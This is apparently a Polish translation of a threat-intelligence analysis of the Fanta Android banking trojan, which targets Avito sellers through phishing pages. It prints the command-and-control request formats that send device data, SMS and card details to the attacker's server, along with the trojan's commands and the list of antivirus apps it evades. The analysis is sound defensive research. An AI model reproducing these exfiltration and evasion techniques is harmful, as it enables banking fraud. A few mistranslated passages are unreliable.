
Pewnego razu zechcesz sprzedać coś na Avito i, publikując szczegółowy opis swojego towaru (na przykład modułu pamięci RAM), otrzymasz taką wiadomość:
Po otwarciu linku zobaczysz na pozór dość niewinną stronę, informującą cię, szczęśliwego i udanego sprzedawcę, o dokonaniu zakupu:

Po naciśnięciu przycisku „Kontynuuj” na twoje urządzenie z Androidem zostanie pobrany plik APK z ikonką i nazwą, które wzbudzają zaufanie. Zainstalowałeś aplikację, która z jakiegoś powodu poprosiła o uprawnienia AccessibilityService, a potem pojawiły się i szybko zniknęły dwa okna i... to wszystko.
Sprawdzasz swój stan konta, ale twoja aplikacja bankowa z jakiegoś powodu znów prosi o dane twojej karty. Po wpisaniu danych dzieje się coś strasznego: z jakiegoś, wciąż niejasnego powodu, pieniądze zaczynają znikać z twojego konta. Próbujesz rozwiązać problem, ale twój telefon stawia opór: sam wciska przyciski „Wstecz” i „Strona główna”, nie wyłącza się i nie pozwala aktywować żadnych środków ochrony. W rezultacie zostajesz bez pieniędzy, twój towar nie zostaje sprzedany, jesteś zdezorientowany i zadajesz sobie pytanie: co się stało?
Odpowiedź jest prosta: stałeś się ofiarą trojana Android Fanta, z rodziny Flexnet. Jak do tego doszło? Już tłumaczymy.
Autorzy: Andrei Polowinkin, młodszy specjalista ds. analizy złośliwego oprogramowania, Iwan Pisariew, specjalista ds. analizy złośliwego oprogramowania.
Trochę statystyki
Po raz pierwszy o rodzinie trojanów Android Flexnet usłyszano już w 2015 roku. W ciągu dłuższego okresu aktywności rodzina rozszerzyła się o kilka podrodzajów: Fanta, Limebot, Lipton itp. Trojan, podobnie jak związana z nim infrastruktura, nie stoi w miejscu: opracowywane są nowe skuteczne schematy dystrybucji — w naszym przypadku wysokiej jakości strony phishingowe, mające na celu konkretnego użytkownika-sprzedawcę, a programiści trojana podążają za modnymi trendami pisania wirusów — dodają nowe funkcjonalności, umożliwiające skuteczniejsze kradzieże pieniędzy z zainfekowanych urządzeń i omijanie mechanizmów ochrony.
Opisywana w tym artykule kampania skierowana jest do użytkowników z Rosji, a niewielka liczba zainfekowanych urządzeń została odnotowana na Ukrainie, jeszcze mniej — w Kazachstanie i Białorusi.
Mimo że Flexnet jest obecny na arenie trojanów Android od ponad 4 lat i został szczegółowo zbadany przez wielu badaczy, nadal jest w dobrej formie. Od stycznia 2019 roku potencjalne straty wynoszą ponad 35 milionów rubli — i to tylko na podstawie kampanii w Rosji. W 2015 roku różne wersje tego trojana Android były sprzedawane na undergroundowych forach, gdzie można było również znaleźć kod źródłowy trojana z dokładnym opisem. To oznacza, że statystyki dotyczące szkód na świecie są jeszcze bardziej imponujące. Nieźle jak na staruszka, prawda?

Od sprzedaży do oszustwa
Jak widać na przedstawionym wcześniej zrzucie ekranu strony phishingowej pod Internetowy serwis ogłoszeniowy Avito, była ona przygotowana pod konkretną ofiarę. Wygląda na to, że przestępcy używają jednego z parserów Avito, który wydobywa numer telefonu i imię sprzedawcy, a także opis przedmiotu. Po uruchomieniu strony i przygotowaniu pliku APK, ofiara otrzymuje SMS z jej imieniem i linkiem do strony phishingowej, zawierającym opis jej przedmiotu i kwoty uzyskanej z „sprzedaży” przedmiotu. Klikając przycisk, użytkownik odbiera złośliwy plik APK — Fanta.
Badanie domeny shcet491[.]ru wykazało, że jest ona delegowana na serwery DNS firmy Hostinger:
- ns1.hostinger.ru
- ns2.hostinger.ru
- ns3.hostinger.ru
- ns4.hostinger.ru
Plik strefy domeny zawiera rekordy wskazujące na adresy IP 31.220.23[.]236, 31.220.23[.]243 oraz 31.220.23[.]235. Jednak główny rekord zasobów domeny (rekord A) wskazuje na serwer z adresem IP 178.132.1[.]240.
Adres IP 178.132.1[.]240 znajduje się w Holandii i należy do dostawcy usług hostingowych WorldStream. Adresy IP 31.220.23[.]235, 31.220.23[.]236 oraz 31.220.23[.]243 znajdują się w Wielkiej Brytanii i należą do serwera wirtualnego hostingu HOSTINGER. Rejestrator to openprov-ru. Na adres IP 178.132.1[.]240 również rozwiązano następujące domeny:
- sdelka-ru[.]ru
- tovar-av[.]ru
- av-tovar[.]ru
- ru-sdelka[.]ru
- shcet382[.]ru
- sdelka221[.]ru
- sdelka211[.]ru
- vyplata437[.]ru
- viplata291[.]ru
- perevod273[.]ru
- perevod901[.]ru
Należy zaznaczyć, że z prawie wszystkich domen były dostępne linki w następującym formacie:
http://(www.){0,1}/[0-9]{7}
Pod ten szablon również pasuje link z SMS-a. Na podstawie danych historycznych odkryto, że jednemu domenie odpowiada kilka linków według opisany wzoru, co świadczy o wykorzystaniu jednej domeny do rozprzestrzeniania trojana wśród wielu ofiar.
Przyspieszając nieco, trojan pobrany za pomocą linku z SMS-a jako serwer zarządzający używa adresu onuseseddohap[.]club. Ta domena została zarejestrowana 2019-03-12, a od 2019-04-29 miała miejsce interakcja aplikacji APK z tą domeną. Na podstawie danych uzyskanych z VirusTotal, łącznie z tym serwerem współdziałało 109 aplikacji. Sama domena rozwiązała się na adres IP 217.23.14[.]27, zlokalizowany w Holandii i należący do hostera WorldStream. Jako rejestratora użyto namecheap. Na ten adres IP również rozwiązały się domeny bad-racoon[.]club (od 2018-09-25) i bad-racoon[.]live (od 2018-10-25). Z domeną bad-racoon[.]club współdziałało ponad 80 plików APK, z bad-racoon[.]live — ponad 100.
Ogólnie rzecz biorąc, przebieg ataku wygląda następująco:

Co kryje się pod maską Fanta?
Jak wiele innych trojanów na Androida, Fanta potrafi czytać i wysyłać SMS-y, wykonywać zapytania USSD oraz wyświetlać własne okna nad aplikacjami (w tym bankowymi). Jednak w arsenale funkcjonalnych możliwości tej rodziny pojawiło się coś nowego: Fanta zaczęła wykorzystywać AccessibilityService do różnych celów: czytanie zawartości powiadomień innych aplikacji, zapobieganie wykrywaniu i zatrzymywaniu działania trojana na zainfekowanym urządzeniu itp. Fanta działa na wszystkich wersjach Androida, nie młodszych niż 4.4. W tym artykule dokładniej przyjrzymy się następującemu próbce Fanta:
- MD5: 0826bd11b2c130c4c8ac137e395ac2d4
- SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
- SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb
Bezpośrednio po uruchomieniu
Bezpośrednio po uruchomieniu trojan ukrywa swoją ikonę. Działanie aplikacji jest możliwe tylko wtedy, gdy nazwa zainfekowanego urządzenia nie znajduje się na liście:
- android_x86
- VirtualBox
- Nexus 5X(bullhead)
- Nexus 5(razor)
Ta kontrola jest przeprowadzana w głównym serwisie trojana — MainService. Przy pierwszym uruchomieniu następuje inicjalizacja parametrów konfiguracyjnych aplikacji wartościami domyślnymi (format przechowywania danych konfiguracyjnych i ich znaczenie zostanie opisane później), a także rejestracja nowego zainfekowanego urządzenia na serwerze zarządzającym. Na serwer zostanie wysłane żądanie HTTP POST z typem wiadomości register_bot i informacjami o zainfekowanym urządzeniu (wersja Android, IMEI, numer telefonu, nazwa operatora i kod kraju, w którym zarejestrowany jest operator). Jako serwer zarządzający występuje adres hXXp://onuseseddohap[.]club/controller.php. W odpowiedzi serwer wysyła wiadomość, w której znajdują się pola bot_id, bot_pwd, server — te wartości aplikacja zapisuje jako parametry serwera CnC. Parametr server jest opcjonalny, jeśli pole nie zostało odebrane: Fanta wykorzystuje adres rejestracji — hXXp://onuseseddohap[.]club/controller.php. Funkcja zmiany adresu CnC może być stosowana do rozwiązania dwóch zadań: równomiernego rozłożenia obciążenia między kilkoma serwerami (przy dużej liczbie zainfekowanych urządzeń obciążenie na nieoptymalizowanym serwerze WWW może być wysokie), a także do korzystania z alternatywnego serwera w przypadku awarii jednego z serwerów CnC.
Jeśli podczas wysyłania żądania wystąpił błąd, trojan powtórzy proces rejestracji po 20 sekundach.
Po pomyślnej rejestracji urządzenia Fanta wyświetli użytkownikowi następującą wiadomość:

Ważna uwaga: usługa o nazwie Bezpieczeństwo systemu — nazwa usługi trojana, a po naciśnięciu przycisku OK otworzy się okno z ustawieniami dostępności zainfekowanego urządzenia, w którym użytkownik musi samodzielnie przyznać prawa dostępności dla złośliwej usługi:

Gdy użytkownik włączy AccessibilityService, Fanta uzyskuje dostęp do zawartości okien aplikacji oraz działań, które są w nich wykonywane:

Natychmiast po zdobyciu praw dostępności trojan prosi o prawa administratora oraz prawa do odczytu powiadomień:

Za pomocą AccessibilityService aplikacja naśladuje naciśnięcia klawiszy, w ten sposób uzyskując wszystkie niezbędne prawa.
Fanta tworzy kilka instancji baz danych (które zostaną opisane później), niezbędnych do przechowywania danych konfiguracyjnych oraz również informacji zebranej w procesie o zainfekowanym urządzeniu. Aby przesłać zebrane informacje, trojan tworzy powtarzające się zadanie, które ma na celu wyładunek pól z bazy danych oraz uzyskanie polecenia od serwera kontrolnego. Interwał dostępu do CnC jest ustalany w zależności od wersji Androida: w przypadku 5.1 interwał wyniesie 10 sekund, w przeciwnym razie 60 sekund.
Aby uzyskać polecenie, Fanta wykonuje żądanie GetTask na serwer kontrolny. W odpowiedzi CnC może wysłać jedną z następujących komend:
| Zespół | Opis |
|---|---|
| 0 | Wyślij wiadomość SMS |
| 1 | Wykonaj połączenie telefoniczne lub komendę USSD |
| 2 | Aktualizuj parametr interval |
| 3 | Aktualizuj parametr intercept |
| 6 | Aktualizuj parametr smsManager |
| 9 | Rozpocznij zbieranie wiadomości SMS |
| 11 | Zresetuj telefon do ustawień fabrycznych |
| 12 | Włączanie/Wyłączanie logowania okien dialogowych |
Fanta zbiera również powiadomienia z 70 aplikacji bankowych, systemów szybkich płatności oraz portfeli elektronicznych i przechowuje je w bazie danych.
Przechowywanie parametrów konfiguracyjnych
Do przechowywania parametrów konfiguracyjnych Fanta stosuje standardowe podejście platformy Android — Preferences-pliki. Ustawienia zostaną zapisane w pliku o nazwie settings. Opis przechowywanych parametrów znajduje się w poniższej tabeli.
| Nazwa | Wartość domyślna | Możliwe wartości | Opis |
|---|---|---|---|
| id | 0 | Integer | Identyfikator bota |
| server | hXXp://onuseseddohap[.]club/ | URL | Adres serwera zarządzającego |
| pwd | — | String | Hasło do serwera |
| interval | 20 | Integer | Interwał czasowy. Określa, o ile należy opóźnić wykonanie kolejnych zadań:
|
| intercept | wszystko | all/telNumber | Jeżeli pole jest równe łańcuchowi wszystko lub telNumber, to otrzymana wiadomość SMS zostanie przechwycona przez aplikację i nie zostanie wyświetlona użytkownikowi. |
| smsManager | 0 | 0/1 | Włączanie/Wyłączanie aplikacji jako domyślnego odbiorcy SMS-ów |
| readDialog | false | True/false | Włączanie/Wyłączanie logowania wydarzeń AccessibilityEvent |
Fanta wykorzystuje również plik smsManager:
| Nazwa | Wartość domyślna | Możliwe wartości | Opis |
|---|---|---|---|
| pckg | — | String | Nazwa używanego menedżera wiadomości SMS |
Interakcja z bazami danych
W trakcie swojej pracy trojan wykorzystuje dwie bazy danych. Baza danych o nazwie a jest używana do przechowywania różnych informacji z telefonu. Druga baza danych nosi nazwę fanta.db i służy do przechowywania ustawień odpowiedzialnych za tworzenie okien phishingowych, mających na celu zbieranie informacji o kartach bankowych.
Trojan wykorzystuje bazę danych więcej niż do przechowywania zbieranych informacji i logowania swoich działań. Dane są przechowywane w tabeli logs. Do stworzenia tabeli wykorzystuje się następujące zapytanie SQL:
create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)W bazie danych zawarte są następujące informacje:
1. Logowanie włączenia zainfekowanego urządzenia komunikatem Telefon został włączony!
2. Powiadomienia z aplikacji. Wiadomość jest formułowana według następującego wzoru:
(<%App Name%>)<%Title%>: <%Notification text%>
3. Dane kart bankowych z formularzy phishingowych stworzonych przez trojana. Parametr VIEW_NAME może być jednym z listy:
- AliExpress
- Avito
- Google Play
- Różne <%App Name%>
Wiadomość jest rejestrowana w formacie:
[] () Numer karty:; Data:/; CVV:
4. Przychodzące/wychodzące wiadomości SMS w formacie:
([] Typ: Przychodzące/Wychodzące) :
5. Informacje o pakiecie, tworzącym okno dialogowe w formacie:
(<%Package name%>)<%Package information%>
Przykład tabeli logs:

Jedną z funkcjonalności Fanta jest zbieranie informacji o kartach bankowych. Zbieranie danych odbywa się poprzez tworzenie phishingowych okien przy otwieraniu aplikacji bankowych. Trojan tworzy phishingowe okno tylko raz. Informacja o tym, że okno zostało wyświetlone użytkownikowi, jest zapisywana w tabeli settings w bazie danych fanta.db. Aby utworzyć bazę danych, używa się następującego zapytania SQL:
create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);Wszystkie pola tabeli settings domyślnie są inicjowane wartością 1 (utwórz phishingowe okno). Po tym, jak użytkownik wprowadzi swoje dane, wartość zostanie ustawiona na 0. Przykład pól tabeli settings:
- can_login — pole odpowiada za wyświetlenie formularza przy otwieraniu aplikacji bankowej
- first_bank — nie jest używane
- can_avito — pole odpowiada za wyświetlenie formularza przy otwieraniu aplikacji Avito
- can_ali — pole odpowiada za wyświetlenie formularza przy otwieraniu aplikacji Aliexpress
- can_another — pole odpowiada za wyświetlenie formularza przy otwieraniu dowolnej aplikacji z listy: Юла, Pandao, Дром Авто, Katalog, Karty zniżkowe i bonusowe, Aviasales, Booking, Trivago
- can_card — pole odpowiada za wyświetlenie formularza przy otwieraniu Google Play
Interakcja z serwerem zarządzającym
Interakcja sieciowa z serwerem zarządzającym odbywa się za pomocą protokołu HTTP. Do pracy z siecią Fanta używa popularnej biblioteki Retrofit. Zapytania są wysyłane na adres hXXp://onuseseddohap[.]club/controller.php. Adres serwera może być zmieniany podczas rejestracji na serwerze. W odpowiedzi z serwera mogą przyjść cookie. Fanta wykonuje następujące zapytania do serwera:
- Rejestracja bota na serwerze zarządzającym odbywa się raz przy pierwszym uruchomieniu. Na serwer wysyłane są następujące dane o zainfekowanym urządzeniu:
· Cookie — otrzymane cookie z serwera (wartość domyślna — pusty ciąg)
· tryb — stała tekstowa register_bot
· prefix — stała całkowita 2
· version_sdk — tworzony według następującego wzoru: []/[](Avit)
· imei — IMEI zainfekowanego urządzenia
· kraj — kod kraju, w którym zarejestrowany jest operator, w formacie ISO
· number — numer telefonu
· operator — nazwa operatoraPrzykład żądania wysyłanego na serwer:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Content-Length: 144 Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>W odpowiedzi na żądanie serwer powinien zwrócić obiekt JSON zawierający następujące parametry:
· bot_id — identyfikator zainfekowanego urządzenia. Jeśli bot_id wynosi 0, Fanta powtórnie wykona żądanie.
· bot_pwd — hasło do serwera.
· server — adres serwera zarządzającego. Parametr opcjonalny. Jeśli parametr nie jest podany, użyty zostanie adres zapisany w aplikacji.Przykład obiektu JSON:
{ "response":[ { "bot_id": <%BOT_ID%>, "bot_pwd": <%BOT_PWD%>, "server": <%SERVER%> } ], "status":"ok" }
- Żądanie dotyczące uzyskania polecenia z serwera. Na serwer wysyłane są następujące dane:
· Cookie — otrzymane ciasteczka z serwera
· bid — id zainfekowanego urządzenia, które zostało otrzymane podczas wysyłania żądania register_bot
· pwd — hasło do serwera
· divice_admin — pole określa, czy uzyskano uprawnienia administratora. Jeśli uprawnienia administratora zostały uzyskane, pole wynosi 1, w przeciwnym razie 0
· Accessibility — status działania usługi Accessibility. Jeśli usługa została uruchomiona, wartość wynosi 1, w przeciwnym razie 0
· SMSManager — wskazuje, czy trojan jest ustawiony jako domyślna aplikacja do odbierania SMS-ów
· screen — pokazuje, w jakim stanie znajduje się ekran. Zostanie ustawiona wartość 1, jeśli ekran jest włączony, w przeciwnym razie 0;Przykład żądania wysyłanego na serwer:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=getTask&bid=&pwd=&divice_admin=&Accessibility=&SMSManager=&screen=W zależności od polecenia serwer może zwrócić obiekt JSON z różnymi parametrami:
· Zespół Wyślij wiadomość SMS: W parametrach zawarty jest numer telefonu, tekst wiadomości SMS oraz identyfikator wysyłanej wiadomości. Identyfikator jest używany podczas wysyłania wiadomości na serwer z typem setSmsStatus.
{ "response": [ { "mode": 0, "sms_number": <%SMS_NUMBER%>, "sms_text": <%SMS_TEXT%>, "sms_id": %SMS_ID% } ], "status":"ok" }· Zespół Wykonaj połączenie telefoniczne lub komendę USSD: Numer telefonu lub polecenie przychodzi w treści odpowiedzi.
{ "response": [ { "mode": 1, "command": <%TEL_NUMBER%> } ], "status":"ok" }· Zespół Zmień parametr interval.
{ "response": [ { "mode": 2, "interval": } ], "status":"ok" }· Zespół Zmień parametr intercept.
{ "response": [ { "mode": 3, "intercept": "all"/"telNumber"/ } ], "status":"ok" }· Zespół Zmień pole SmsManager.
{ "response": [ { "mode": 6, "enable": 0/1 } ], "status":"ok" }· Zespół Wykonaj zbieranie SMS-ów z zainfekowanego urządzenia.
{ "response": [ { "mode": 9 } ], "status":"ok" }· Zespół Zresetuj telefon do ustawień fabrycznych:
{ "response": [ { "mode": 11 } ], "status":"ok" }· Zespół Zmień parametr ReadDialog.
{ "response": [ { "mode": 12, "enable": 0/1 } ], "status":"ok" }
- Wysyłanie wiadomości z typem setSmsStatus. To zapytanie jest realizowane po wykonaniu polecenia Wyślij wiadomość SMS. Zapytanie wygląda następująco:
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0
mode=setSmsStatus&id=&status_sms=- Wysyłanie zawartości bazy danych. W jednym zapytaniu wysyłana jest jedna linia. Do serwera przesyłane są następujące dane:
· Cookie — otrzymane ciasteczka z serwera
· tryb — stała tekstowa setSaveInboxSms
· bid — id zainfekowanego urządzenia, które zostało otrzymane podczas wysyłania żądania register_bot
· text — tekst w bieżącym rekordzie Bazy Danych (pole d z tabeli logs w bazie danych więcej niż)
· number — nazwa bieżącego rekordu Bazy Danych (pole p z tabeli logs w bazie danych więcej niż)
· sms_mode — wartość całkowita (pole m z tabeli logs w bazie danych więcej niż)Zapytanie wygląda następująco:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=setSaveInboxSms&bid=&text=&number=&sms_mode=Po pomyślnym wysłaniu na serwer, linia zostanie usunięta z tabeli. Przykład obiektu JSON, który zwróci serwer:
{ "response":[], "status":"ok" }
Interakcja z AccessibilityService
AccessibilityService został wdrożony w celu ułatwienia korzystania z urządzeń Android przez osoby z ograniczeniami. W większości przypadków, aby wchodzić w interakcję z aplikacją, konieczna jest fizyczna interakcja. AccessibilityService umożliwia to programowo. Fanta używa tego serwisu do tworzenia fałszywych okienek w aplikacjach bankowych oraz blokowania otwierania ustawień systemowych i niektórych aplikacji.
Wykorzystując funkcjonalności AccessibilityService, trojan monitoruje zmiany elementów na ekranie zainfekowanego urządzenia. Jak wcześniej opisano, w ustawieniach Fanta znajduje się parametr odpowiedzialny za rejestrowanie operacji z oknami dialogowymi — readDialog. Jeśli ten parametr jest włączony, do bazy danych zostanie dodana informacja o nazwie i opisie pakietu, który zainicjował zdarzenie. Trojan wykonuje następujące działania przy uruchamianiu zdarzeń:
- Symuluje naciśnięcie przycisków wstecz i główny w przypadku:
· jeśli użytkownik chce zresetować swoje urządzenie
· jeśli użytkownik chce usunąć aplikację „Avito” lub zmienić uprawnienia
· jeśli na stronie jest wzmianka o aplikacji „Avito”
· przy otwieraniu aplikacji „Google Play Ochrona”
· przy otwieraniu stron z ustawieniami AccessibilityService
· przy pojawieniu się okna dialogowego „Bezpieczeństwo systemu”
· przy otwieraniu strony z ustawieniami „Rysuj nad inną aplikacją”
· przy otwieraniu strony „Aplikacje”, „Przywracanie i resetowanie”, „Resetuj dane”, „Resetuj ustawienia”, „Panel dewelopera”, „Opcje specjalne”, „Specjalne możliwości”, „Inne uprawnienia”
· jeśli zdarzenie zostało wygenerowane przez określone aplikacje.Lista aplikacji
- android
- Master Lite
- Clean Master
- Clean Master dla CPU x86
- Zarządzanie uprawnieniami aplikacji Meizu
- Bezpieczeństwo MIUI
- Clean Master — Antywirus & Czyszczenie pamięci podręcznej i śmieci
- Kontrola rodzicielska i GPS: Kaspersky SafeKids
- Aplikacja Kaspersky Antivirus AppLock & Bezpieczeństwo Sieci Beta
- Cleaner wirusów, Antywirus, Cleaner (MAX Security)
- Mobilne bezpieczeństwo Antywirus PRO
- Avast antywirus & darmowa ochrona 2019
- Mobilne Bezpieczeństwo МегаФон
- AVG Protection dla Xperia
- Mobilne bezpieczeństwo
- Malwarebytes antywirus & ochrona
- Antywirus na Androida 2019
- Security Master — Antywirus, VPN, AppLock, Booster
- AVG antywirus dla tabletu Huawei System Manager
- Samsung Accessibility
- Samsung Smart Manager
- Security Master
- Speed Booster
- Dr.Web
- Dr.Web Security Space
- Dr.Web Mobile Control Center
- Dr.Web Security Space Life
- Dr.Web Mobile Control Center
- Antywirus & Mobilne bezpieczeństwo
- Kaspersky Internet Security: Antywirus i Ochrona
- Kaspersky Battery Life: Oszczędzanie & Booster
- Kaspersky Endpoint Security — ochrona i zarządzanie
- AVG Antywirus za darmo 2019 – Ochrona dla Androida
- Antywirus Android
- Norton Mobile Security and Antivirus
- Antywirus, zapora, VPN, mobilne bezpieczeństwo
- Mobilne bezpieczeństwo: antywirus, VPN, ochrona przed kradzieżą
- Antywirus dla Androida
- Jeśli przy wysyłaniu wiadomości SMS na krótki numer wymagana jest zgoda, Fanta symuluje naciśnięcie checkboxa Zapamiętaj wybór i przycisk wyślij.
- Przy próbie odebrania trojanowi uprawnień administratora blokuje ekran telefonu.
- Uniemożliwia dodawanie nowych administratorów.
- W przypadku, gdy aplikacja antywirusowa dr.web wykryła zagrożenie, Fanta symuluje naciśnięcie przycisku ignoruj.
- Trojan symuluje naciśnięcie przycisku wstecz i główny, jeśli zdarzenie zostało wygenerowane przez aplikację Samsung Device Care.
- Fanta tworzy okna phishingowe z formularzami do wprowadzania informacji o kartach bankowych, jeśli uruchomiono aplikację z listy obejmującej około 30 różnych usług internetowych. Wśród nich: AliExpress, Booking, Avito, komponent Google Play Market, Pandao, Drom Auto i inni.
Formularze phishingowe
Fanta analizuje, jakie aplikacje są uruchamiane na zainfekowanym urządzeniu. Jeśli otwarta została interesująca aplikacja, trojan wyświetla okno phishingowe nad wszystkimi innymi, które jest formularzem do wprowadzania informacji o karcie bankowej. Użytkownik musi wprowadzić następujące dane:
- Numer karty
- Data ważności karty
- CVV
- Imię i nazwisko posiadacza karty (nie dla wszystkich banków)
W zależności od uruchomionej aplikacji, wyświetlone zostaną różne okna phishingowe. Poniżej przedstawione zostaną przykłady niektórych z nich:
Aliexpress:

Avito:
Dla niektórych innych aplikacji, na przykład Google Play Market, Aviasales, Pandao, Booking, Trivago:

Jak wyglądała sytuacja naprawdę
Na szczęście osoba, która otrzymała opisane na początku artykułu SMS, okazała się specjalistą w dziedzinie cyberbezpieczeństwa. Dlatego rzeczywista, niezareżyserowana wersja różni się od wcześniej opowiedzianej: osoba otrzymała interesujące SMS, po czym przekazała go zespołowi Group-IB Threat Hunting Intelligence. Wynikiem ataku jest ten artykuł. Szczęśliwe zakończenie, prawda? Jednak nie wszystkie historie kończą się tak pomyślnie, a aby Twoja nie przypominała zareżyserowanej wersji z utratą pieniędzy, w większości przypadków wystarczy przestrzegać następujących, od dawna opisanych zasad:
- nie instalować aplikacji na urządzenia mobilne z systemem Android z żadnych źródeł poza Google Play
- przy instalacji aplikacji zwracać szczególną uwagę na wymagane przez aplikację uprawnienia
- ubiegać uwagę na rozszerzenia pobieranych plików
- regularnie instalować aktualizacje systemu Android
- nie odwiedzać podejrzanych zasobów i nie pobierać stamtąd plików
- nigdy nie klikać linków otrzymanych w SMS-ach.
Źródło: habr.com



